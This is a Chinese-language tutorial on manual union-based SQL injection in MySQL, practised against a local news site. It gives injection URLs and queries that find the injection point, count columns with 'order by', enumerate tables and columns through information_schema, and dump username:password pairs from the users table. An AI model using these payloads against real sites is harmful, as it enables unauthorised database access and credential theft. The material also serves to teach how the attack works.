漏洞原理SQL注入 手工注入漏洞

漏洞原理SQL注入 手工注入漏洞

SQL 注入的前置知识

  • information_schema库
  • information_schema 是mysql5.0以上版本中自带的一个数据库。
  • tables表
  • information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)
  • columns表
  • information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。

1 找到SQL 语句的注入点

1.1 方式一

http://127.0.0.1/news/show.php?id=46 '

1.2 方式二

http://127.0.0.1/news/show.php?id=46 and 1=1

http://127.0.0.1/news/show.php?id=46 and 1=2

1.3 方式三

http://127.0.0.1/news/show.php?id=46 -1

总结一 更据注入点判断该漏洞是否存在Mysql注入漏洞 如果存在可以往下面走 如果不存在 则不存在MySql漏洞 没有必要往下走。

2 根据注入点 来判断是否有Sql注入漏洞 来猜测数据库的字段数量。

http://127.0.0.1/news/show.php?id=50 order by 15 # 正常显示

http://127.0.0.1/news/show.php?id=50 order by 16 # 报错,告诉我们没有第16个字段

总结二 利用SQL 语句的函数判断 SQL 语句的字段数量

3 更据字段的数量 写出对应的SQL语句

http://127.0.0.1/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

总结三 更据漏洞的字段数量 15 判断出来存在 漏洞的字段是 3 11 在这两个字段里面写下SQL Sql函数

4 利用显示字段获取系统信息

5 获取news数据库中所有的表名

  • select hex(group_concat(table_name)) from information_schema.tables
  • where table_schema='news';
  • select * from news_article where id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news';
  • http://127.0.0.1/news/show.php
  • ?id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'

news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

6获取news数据库的news_users表中的所有字段名

select * from news_article where id=-46 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users';

7 获取指定字段的数据

select * from news_article where id=-46 union
select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

http://127.0.0.1/news/show.php
?id=-46 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

相关推荐
你的电影很有趣22 分钟前
lesson72:Node.js 安全实战:Crypto-Js 4.2.0 与 Express 加密体系构建指南
javascript·安全·node.js
Giser探索家1 小时前
遥感卫星升轨 / 降轨技术解析:对图像光照、对比度的影响及工程化应用
大数据·人工智能·算法·安全·计算机视觉·分类
全栈工程师修炼日记1 小时前
ARMv8系统的安全性(二):TrustZone架构如何重塑移动设备安全生态
安全
嗨丶王哪跑2 小时前
网络安全主动防御技术与应用
运维·网络·安全·web安全
友善的鸡蛋3 小时前
项目中执行SQL报错oracle.jdbc.OracleDatabaseException: ORA-00942: 表或视图不存在
数据库·sql·oracle
Olrookie4 小时前
MySQL运维常用SQL
运维·数据库·sql·mysql·dba
星光一影5 小时前
HIS系统天花板,十大核心模块,门诊/住院/医保全流程打通,医院数字化转型首选
java·spring boot·后端·sql·elementui·html·scss
火白学安全6 小时前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
携欢6 小时前
PortSwigger靶场之Exploiting server-side parameter pollution in a REST URL通关秘籍
前端·javascript·安全
啊吧怪不啊吧6 小时前
初识SQL
服务器·数据库·sql